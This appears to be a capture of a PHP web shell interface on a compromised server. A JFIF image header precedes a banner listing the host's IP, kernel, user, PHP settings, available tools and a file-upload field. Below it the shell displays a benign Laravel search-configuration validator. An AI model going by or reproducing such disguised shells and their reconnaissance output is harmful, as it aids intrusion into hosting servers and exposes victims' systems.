����JFIF��x�x����'
| Server IP : 78.140.185.180 / Your IP : 216.73.216.170 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/builderbox/./././www/common/Settings/Validators/ |
Upload File : |
<?php
namespace Common\Settings\Validators;
use App\User;
use Arr;
use Exception;
use Laravel\Scout\Builder;
use Laravel\Scout\EngineManager;
use PDOException;
use Throwable;
class SearchConfigValidator
{
const KEYS = ["scout_driver"];
public function fails($settings)
{
$engineName = Arr::get(
$settings,
"scout_driver",
config("scout.driver"),
);
$manager = app(EngineManager::class);
if (isset($settings["algolia_app_id"])) {
config()->set("scout.algolia.id", $settings["algolia_app_id"]);
}
if (isset($settings["algolia_secret"])) {
config()->set("scout.algolia.secret", $settings["algolia_secret"]);
}
if (
$engineName === "mysql" &&
Arr::get($settings, "scout_mysql_mode") !== "fulltext"
) {
return false;
}
try {
$results = $manager->engine($engineName)->search(
app(Builder::class, [
"model" => new User(),
"query" => "test",
]),
);
if (!$results) {
return $this->getDefaultErrorMessage();
}
} catch (PDOException $e) {
return ["search_group" => $e->getMessage()];
} catch (Exception | Throwable $e) {
return $this->getErrorMessage($e);
}
}
/**
* @param Exception|Throwable $e
* @return array
*/
private function getErrorMessage($e)
{
$message = $e->getMessage();
return [
"search_group" => "Could not enable this search method: $message",
];
}
/**
* @return array
*/
private function getDefaultErrorMessage()
{
return ["search_group" => "Could not enable this search method."];
}
}